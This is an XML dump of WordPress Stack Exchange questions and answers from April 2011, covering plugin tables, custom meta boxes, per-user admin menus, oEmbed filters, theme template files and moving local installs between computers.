  <row Id="14415" PostTypeId="2" ParentId="14402" CreationDate="2011-04-10T14:22:21.310" Score="1" ViewCount="" Body="&lt;p&gt;Not that there is specialized API for something exactly like that.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your table, see &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;Creating Tables with Plugins&lt;/a&gt; in Codex.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Process submitted form (since you are not using higher APIs, don't forget to check for capabilities, use &lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;nonces&lt;/a&gt; and such).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write data to your custom table, using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-10T14:22:21.310" CommentCount="2" />
  <row Id="14417" PostTypeId="2" ParentId="14410" CreationDate="2011-04-10T15:19:16.917" Score="1" ViewCount="" Body="&lt;p&gt;Ya what Rarst said, for his example you can do something like the following but it returns an array with active plugin name/plugin_filename.php&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;get_option('active_plugins');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can try using use the global $plugin to get a lot more data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $plugins;&#xA;&#xA;$plugins = array(&#xA;            'all' =&amp;gt; apply_filters( 'all_plugins', get_plugins() ),&#xA;            'search' =&amp;gt; array(),&#xA;            'active' =&amp;gt; array(),&#xA;            'inactive' =&amp;gt; array(),&#xA;            'recently_activated' =&amp;gt; array(),&#xA;            'upgrade' =&amp;gt; array(),&#xA;            'mustuse' =&amp;gt; array(),&#xA;            'dropins' =&amp;gt; array()&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-10T15:19:16.917" />
  <row Id="14418" PostTypeId="2" ParentId="14407" CreationDate="2011-04-10T15:27:16.193" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress has a built in editor that let's you edit themes from your wordpress admin. To access it, go to the dashboard (in the wordpress admin), then go to &lt;code&gt;appearance&amp;gt;editor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4238" LastActivityDate="2011-04-10T15:27:16.193" CommentCount="3" />
  <row Id="14419" PostTypeId="2" ParentId="14400" CreationDate="2011-04-10T15:30:05.333" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function facebook_setup_function() {&#xA;    add_meta_box( 'facebook_widget', 'Facebook Moderation Tools', 'facebook_widget_function', 'dashboard', 'normal', 'low' );&#xA;}&#xA;function facebook_widget_function() {&#xA;    include ('facebook.php');&#xA;}&#xA;&#xA;add_action( 'wp_dashboard_setup', 'facebook_setup_function' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add the above to your functions file and replace the include url with the php file you wish to include into your dashboard.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Setting it up ;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Use the facebook.php and add an iframe to it, or ajax call to load the facebook tools, then simply just echo that file into your dashboard page :)&lt;/p&gt;&#xA;" OwnerUserId="4369" LastActivityDate="2011-04-10T15:30:05.333" CommentCount="4" />
  <row Id="14420" PostTypeId="2" ParentId="14361" CreationDate="2011-04-10T15:53:50.880" Score="2" ViewCount="" Body="&lt;p&gt;One possibility is this quesiton/answer here by Jan Fabry, which asks for the default content in the process of creating the new post:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/14403/force-category-choice-before-creating-new-post&quot;&gt;Force category choice before creating new post?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using a Quicktag as a way of easily getting the content into a post, and because the default content happened to be html, it works as good as it can for now. But in the future there turns out to be a way to get default content into a post when that post is saved in that category, that will be good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quicktags function for functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Custom Quicktags Function&#xA;&#xA;function my_quicktags() {&#xA;    wp_enqueue_script('custom_quicktags',&#xA;    get_bloginfo('template_directory').'/custom-quicktags.js', array('quicktags'));&#xA;}&#xA;add_action('admin_print_scripts', 'my_quicktags');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample Quicktags code for custom-quicktags.js, which goes in the theme folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;edButtons[edButtons.length] =&#xA;new edButton('newbutton1'&#xA;,'TagButtonName'&#xA;,'html, like &amp;lt;div&amp;gt;'&#xA;,'and more &amp;lt;/div&amp;gt;'&#xA;,''&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-10T15:53:50.880" />
  <row Id="14421" PostTypeId="1" AcceptedAnswerId="15888" CreationDate="2011-04-10T16:02:06.677" Score="2" ViewCount="140" Body="&lt;p&gt;Pretty self-explanatory. How does one add another user to this function for functions.php, i.e., user2, who will be shown different menu items than user1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding another &lt;code&gt;if($current_user-&amp;gt;user_login == 'user2')&lt;/code&gt; condition, but no luck. User2 will have different admin rights, if that matters. But basically, I need to be able to show one set of menu items to user1 and another set to user2, so I need to figure out some if else logic. But I tried that, and I get a &quot;can't redeclare a previously declared&quot; error for the menu function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function remove_menus()&#xA;{&#xA;    global $menu;&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;&#xA;    if($current_user-&amp;gt;user_login == 'user1')&#xA;    {&#xA;        $restricted = array(&#xA;                            __('Links'),&#xA;                            __('Comments'),&#xA;                            __('Appearance'),&#xA;                            __('Plugins'),&#xA;                            __('Profile'),&#xA;                            __('Tools'),&#xA;                            __('Settings')&#xA;        );&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }&#xA;        }&#xA;}&#xA;&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-04-25T23:21:42.670" LastActivityDate="2011-04-30T21:04:49.103" Title="How to add another user to this remove_menu function?" Tags="&lt;functions&gt;&lt;user-roles&gt;&lt;user-access&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="14422" PostTypeId="1" CreationDate="2011-04-10T16:43:34.410" Score="0" ViewCount="117" Body="&lt;p&gt;I need to add the user meta (visible when edit the user profile) inside 'add new user' page and search user by meta.&#xA;About the search I found &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5811/how-to-search-all-user-meta-from-users-php-in-the-admin&quot;&gt;this post&lt;/a&gt; but the functions is deprecated in wp 3.1...&lt;/p&gt;&#xA;" OwnerUserId="4573" LastActivityDate="2011-04-10T16:50:18.503" Title="Add and Search user meta in backend" Tags="&lt;usermeta&gt;" AnswerCount="0" />
  <row Id="14424" PostTypeId="1" AcceptedAnswerId="14425" CreationDate="2011-04-10T16:51:05.030" Score="0" ViewCount="21" Body="&lt;p&gt;Is there a way of for instance, insert a post and assign a category to it, without accessing Wordpress' back-end?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-10T17:01:24.463" Title="Is there a way of posting or inserting content directly to the database (without entering the wp-admin)?" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="14425" PostTypeId="2" ParentId="14424" CreationDate="2011-04-10T17:01:24.463" Score="1" ViewCount="" Body="&lt;p&gt;Yes @janoChen, you can use wp_insert_post,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at this answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields/8600#8600&quot;&gt;WP insert post PHP function and Custom Fields&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5979/fron-end-post-submission/6043#6043&quot;&gt;Fron-End Post Submission&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-04-10T17:01:24.463" />
  <row Id="14426" PostTypeId="1" CreationDate="2011-04-10T17:17:59.123" Score="0" ViewCount="56" Body="&lt;p&gt;I want to edit something in my theme but i can't find the file that lists all the blogposts on the homepage. In the 'Reading' settings i have: Front page displays - your latests posts as the chosen option. When i edit index.php i cannot see the changes so that is not it. So what phpfile does wordpress use to generate 'your latest posts' ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2011-04-10T19:04:16.567" Title="What file is the standard frontpage that lists all the posts?" Tags="&lt;posts&gt;&lt;homepage&gt;&lt;frontpage&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14427" PostTypeId="1" AcceptedAnswerId="14432" CreationDate="2011-04-10T17:22:53.127" Score="0" ViewCount="105" Body="&lt;p&gt;I'm using the following code to create custom write panels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$key = &quot;project&quot;;&#xA;$meta_boxes = array(&#xA;    &quot;project_services&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;project_services&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Services&quot;,&#xA;        &quot;description&quot; =&amp;gt; &quot;List the services provided for the project.&quot;),&#xA;    &quot;project_name&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;project_name&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Name&quot;,&#xA;        &quot;description&quot; =&amp;gt; &quot;Write the name of the project.&quot;),&#xA;    &quot;project_overview&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;project_overview&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Overview&quot;,&#xA;        &quot;description&quot; =&amp;gt; &quot;Write an overview of the project.&quot;)&#xA;    );&#xA;&#xA;function create_meta_box() {&#xA;    global $key;&#xA;&#xA;    if( function_exists( 'add_meta_box' ) ) {&#xA;        add_meta_box( 'new-meta-boxes', ucfirst( $key ) . ' Description', 'display_meta_box', 'post', 'normal', 'high' );&#xA;    }&#xA;}&#xA;&#xA;function display_meta_box() {&#xA;    global $post, $meta_boxes, $key;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;form-wrap&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    wp_nonce_field( plugin_basename( __FILE__ ), $key . '_wpnonce', false, true );&#xA;&#xA;    foreach($meta_boxes as $meta_box) {&#xA;        $data = get_post_meta($post-&amp;gt;ID, $key, true);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;form-field form-required&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;&amp;lt;?php echo $meta_box[ 'name' ]; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $meta_box[ 'title' ]; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $meta_box[ 'name' ]; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo htmlspecialchars( $data[ $meta_box[ 'name' ] ] ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php echo $meta_box[ 'description' ]; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;function save_meta_box( $post_id ) {&#xA;    global $post, $meta_boxes, $key;&#xA;&#xA;    foreach( $meta_boxes as $meta_box ) {&#xA;        $data[ $meta_box[ 'name' ] ] = $_POST[ $meta_box[ 'name' ] ];&#xA;    }&#xA;&#xA;    if ( !wp_verify_nonce( $_POST[ $key . '_wpnonce' ], plugin_basename(__FILE__) ) )&#xA;        return $post_id;&#xA;&#xA;    if ( !current_user_can( 'edit_post', $post_id ))&#xA;        return $post_id;&#xA;&#xA;    update_post_meta( $post_id, $key, $data );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I can call that metadata in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $data = get_post_meta( $post-&amp;gt;ID, 'project', true ); ?&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php echo $data[ 'project_services' ]; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I would like to call it in this way: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;?php project_services(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-10T21:18:27.687" Title="How to display this meta data (an array) in form of a function (created with a custom write panel)?" Tags="&lt;functions&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="14428" PostTypeId="2" ParentId="14371" CreationDate="2011-04-10T17:23:47.883" Score="0" ViewCount="" Body="&lt;p&gt;Custom CSS is an excellent plugin:&lt;br&gt;&#xA;&lt;a href=&quot;http://webtoolkit4.me/2010/06/11/wordpress-plugin-custom-css-stylesheet-for-posts-or-pages/&quot; rel=&quot;nofollow&quot;&gt;http://webtoolkit4.me/2010/06/11/wordpress-plugin-custom-css-stylesheet-for-posts-or-pages/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-04-10T17:23:47.883" />
  <row Id="14430" PostTypeId="1" AcceptedAnswerId="14466" CreationDate="2011-04-10T18:29:03.537" Score="1" ViewCount="174" Body="&lt;p&gt;I want to make minor css-changes based on the choice of the top (root) menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the proper way to handle this in WP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//edit//&#xA;It's a website (pages), no blog, and basically, the colors of some links and some images should depend of the choosen top-menu-item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, page-structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;* Start&#xA;* Products&#xA;  * Prod.categ.&#xA;    * A product&#xA;* Services&#xA;  * List of services&#xA;    * Nested&#xA;* Contact&#xA;  * Main office&#xA;    * List of staff&#xA;  * Abroad&#xA;    * Another list&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Top level is in a topmenu, one-level, and level2&amp;amp;3 in nested left-menu.&#xA;Now minor coloured items in sidemenu changes depending on selected top-menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//end edit//&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards,&#xA;/t&lt;/p&gt;&#xA;" OwnerUserId="4569" LastEditorUserId="4569" LastEditorDisplayName="" LastEditDate="2011-04-10T19:25:15.897" LastActivityDate="2011-04-11T14:24:37.343" Title="Minor css-change based on topmenu - how?" Tags="&lt;custom-menus&gt;&lt;cms&gt;&lt;template-tags&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="1" />
  <row Id="14431" PostTypeId="2" ParentId="14426" CreationDate="2011-04-10T19:04:16.567" Score="2" ViewCount="" Body="&lt;p&gt;Glad you got it sorted out, but to answer your original question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The &lt;code&gt;front-page.php&lt;/code&gt; template file, if it exists, will be used to generate Front Page content, whether the Front Page is set to display the blog posts index or a static Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The &lt;code&gt;home.php&lt;/code&gt; template file, if it exists, will be used to generate the blog posts Index, whether the blog posts index is displayed on the Front Page or on another static Page. (Note: &lt;code&gt;front-page.php&lt;/code&gt; has priority over &lt;code&gt;home.php&lt;/code&gt; for the Front Page.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If neither of these template files exist, then &lt;code&gt;index.php&lt;/code&gt; is used to generate the blog posts index, whether the blog posts index is displayed on the Front Page or on another static Page.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-10T19:04:16.567" />
  <row Id="14432" PostTypeId="2" ParentId="14427" CreationDate="2011-04-10T19:09:05.347" Score="1" ViewCount="" Body="&lt;p&gt;Try this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php        &#xA;function get_project_services() {    &#xA;         global $post;&#xA;         $data = get_post_meta( $post-&amp;gt;ID, 'project', true );&#xA;         $project_services = $data['project_services'];    &#xA;         return $project_services;    &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;?php echo get_project_services(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that will do what you're asking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Edited to match your comment.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-10T21:18:27.687" LastActivityDate="2011-04-10T21:18:27.687" CommentCount="6" />
  <row Id="14433" PostTypeId="1" AcceptedAnswerId="14439" CreationDate="2011-04-10T19:28:25.417" Score="1" ViewCount="80" Body="&lt;p&gt;I'm running several Wordpress installs on my desktop machine using XAMPP.  I would like to move them to my laptop as well.  Can I simply copy the htdocs, mysql and phpMyAdmin directories to the laptop, replacing the ones from the new install? What if I copied everything in the directory structure under XAMPP?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this work, or will everything go gruesomely wrong? If so, what is the right way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; - Tried copying the desktop files to the laptop.  A combination of lack of sleep, XP to Windows 7 and bad juju made this a case of epic fail.  To get things done quickly, I resorted to doing an XML export and reinstalling my theme on the laptop in order to do the demo. &lt;/p&gt;&#xA;" OwnerUserId="2709" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-04-13T18:29:33.590" LastActivityDate="2011-04-13T18:29:33.590" Title="I have a desktop and a laptop: What's the best way to move between local installations?" Tags="&lt;xampp&gt;&lt;local-installation&gt;&lt;localhost&gt;&lt;sandbox&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14434" PostTypeId="1" AcceptedAnswerId="14438" CreationDate="2011-04-10T19:29:08.957" Score="0" ViewCount="152" Body="&lt;p&gt;hey guys,&#xA;when posting a youtube video link in the backend (in a post or a page) wordpress is automatically creating the embed code for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add a filter to that?&#xA;I'd love to change the width and height of all embedded videos to 100%?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;object width=&quot;100%&quot; height=&quot;100%&quot;&amp;gt;&#xA;&amp;lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/rBa5qp9sUOY?version=3&quot;&amp;gt;&#xA;&amp;lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&amp;gt;&#xA;&amp;lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&amp;gt;&#xA;&amp;lt;embed src=&quot;http://www.youtube.com/v/rBa5qp9sUOY?version=3&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;100%&quot; height=&quot;100%&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot;&amp;gt;&#xA;&amp;lt;/object&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: Or is it at least possible to add a classname to the object tag so I can use javascript to influence with and height of the embedded video?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update: Thank you I tried the following piece of code but it doesn't work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('oembed_result','oembed_result', 10, 3);&#xA;&#xA;function oembed_result($html, $url, $args) {&#xA;&#xA;    // $args includes custom argument&#xA;    // modify $html as you need&#xA;&#xA;    //return $html; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if return $html is a comment no youtube video should appear right, however it does!&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-14T20:36:37.623" LastActivityDate="2011-04-14T20:36:37.623" Title="add_filter to youtube embeds?" Tags="&lt;add-filter&gt;&lt;embed&gt;&lt;youtube&gt;" AnswerCount="1" />
  <row Id="14435" PostTypeId="1" CreationDate="2011-04-10T19:37:35.947" Score="0" ViewCount="86" Body="&lt;p&gt;I'm using wp_dropdown_categories with the first buttonless JavaScript example shown on the function reference page in the Codex. It's &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, if the user wants to select the first category listed in the dropdown, nothing happens. I want to add either a blank option to the top or a placeholder option with text like &quot;click here to select.&quot; I know how to do this on a regular HTML page but not with WordPress, since it generates the select box dynamically. I don't see an answer in the Codex. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3755" LastActivityDate="2011-04-10T19:37:35.947" Title="How do I add a blank option or title option to a categories dropdown?" Tags="&lt;javascript&gt;&lt;categories&gt;" CommentCount="3" />
  <row Id="14436" PostTypeId="2" ParentId="14430" CreationDate="2011-04-10T19:42:17.580" Score="0" ViewCount="" Body="&lt;p&gt;If you are outputting the menu using wp_list_pages / categories or the built in menu builder, then each page or category link is given a class that you can style.  This means the current page or cat that a user is on will have a class that you can then style to look &quot;active.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent page links will display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;current_page_item or current-menu-item (when top level active)&#xA;current_page_ancestor or current-menu-ancestor (when first child active)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories links will display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;current-cat (when top level active)&#xA;current-cat-parent (when first child active)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other classes that WP will auto insert into the li tag of menu items, depending on the depth.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming this is what you were looking to do, so I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="4577" LastActivityDate="2011-04-10T19:42:17.580" CommentCount="1" />
  <row Id="14437" PostTypeId="1" AcceptedAnswerId="14449" CreationDate="2011-04-10T19:58:07.930" Score="0" ViewCount="180" Body="&lt;p&gt;This is the code I used to create the meta boxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$key = &quot;project&quot;;&#xA;$meta_boxes = array(&#xA;    &quot;project_services&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;project_services&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Services&quot;,&#xA;        &quot;description&quot; =&amp;gt; &quot;List the services provided for the project.&quot;),&#xA;    &quot;project_name&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;project_name&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Name&quot;,&#xA;        &quot;description&quot; =&amp;gt; &quot;Write the name of the project.&quot;),&#xA;    &quot;project_overview&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;project_overview&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Overview&quot;,&#xA;        &quot;description&quot; =&amp;gt; &quot;Write an overview of the project.&quot;)&#xA;    );&#xA;&#xA;function create_meta_box() {&#xA;    global $key;&#xA;&#xA;    if( function_exists( 'add_meta_box' ) ) {&#xA;        add_meta_box( 'new-meta-boxes', ucfirst( $key ) . ' Description', 'display_meta_box', 'post', 'normal', 'high' );&#xA;    }&#xA;}&#xA;&#xA;function display_meta_box() {&#xA;    global $post, $meta_boxes, $key;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;form-wrap&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    wp_nonce_field( plugin_basename( __FILE__ ), $key . '_wpnonce', false, true );&#xA;&#xA;    foreach($meta_boxes as $meta_box) {&#xA;        $data = get_post_meta($post-&amp;gt;ID, $key, true);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;form-field form-required&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;&amp;lt;?php echo $meta_box[ 'name' ]; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $meta_box[ 'title' ]; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $meta_box[ 'name' ]; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo htmlspecialchars( $data[ $meta_box[ 'name' ] ] ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php echo $meta_box[ 'description' ]; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;function save_meta_box( $post_id ) {&#xA;    global $post, $meta_boxes, $key;&#xA;&#xA;    foreach( $meta_boxes as $meta_box ) {&#xA;        $data[ $meta_box[ 'name' ] ] = $_POST[ $meta_box[ 'name' ] ];&#xA;    }&#xA;&#xA;    if ( !wp_verify_nonce( $_POST[ $key . '_wpnonce' ], plugin_basename(__FILE__) ) )&#xA;        return $post_id;&#xA;&#xA;    if ( !current_user_can( 'edit_post', $post_id ))&#xA;        return $post_id;&#xA;&#xA;    update_post_meta( $post_id, $key, $data );&#xA;}&#xA;&#xA;add_action( 'admin_menu', 'create_meta_box' );&#xA;add_action( 'save_post', 'save_meta_box' );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I changed the input to a textarea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;&amp;lt;?php echo $meta_box[ 'name' ]; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php echo htmlspecialchars( $data[ $meta_box[ 'name' ] ] ); ?&amp;gt;&#xA;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This turns all the three fields into text areas.&#xA;I would like to only make the third field, &lt;code&gt;project_overview&lt;/code&gt;&#xA;a textarea. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-04-10T20:12:54.037" LastActivityDate="2011-04-10T22:08:04.933" Title="How to add a textarea to only one of the fields of this custom metabox?" Tags="&lt;metabox&gt;" AnswerCount="1" />
  <row Id="14438" PostTypeId="2" ParentId="14434" CreationDate="2011-04-10T20:03:36.943" Score="2" ViewCount="" Body="&lt;p&gt;Yes, there is a filter for Oembeds. Two (or even more) in fact: &lt;code&gt;oembed_result&lt;/code&gt; will be called before it is put in the cache (so only once per external embed), and &lt;code&gt;embed_oembed_html&lt;/code&gt; after the cache (so every time the item is displayed). If you only need to modify it once, &lt;code&gt;oembed_result&lt;/code&gt; is probably your friend. The second parameter is the &lt;code&gt;$url&lt;/code&gt;, so check whether it comes from Youtube before you do something.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-10T20:03:36.943" CommentCount="3" />
  <row Id="14439" PostTypeId="2" ParentId="14433" CreationDate="2011-04-10T20:03:46.257" Score="2" ViewCount="" Body="&lt;p&gt;From personal experience sync between two different computers work best in one direction. For example your desktop is primary and notebook is precise mirror (yep, of whole directory tree preferably with tool that doesn't touch unchanged files). Two way sync gets messy very fast for web stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to actively work with same stack on different computers it is easier to keep portable stack on external media (like external hard drive or flash drive) and just plug it. Don't forget solid backup routine (which you should have in any case) or if external thingie dies - you lose whole stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS another idea is to use something like Dropbox, but I hadn't tried that in practice yet.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-10T20:03:46.257" CommentCount="1" />
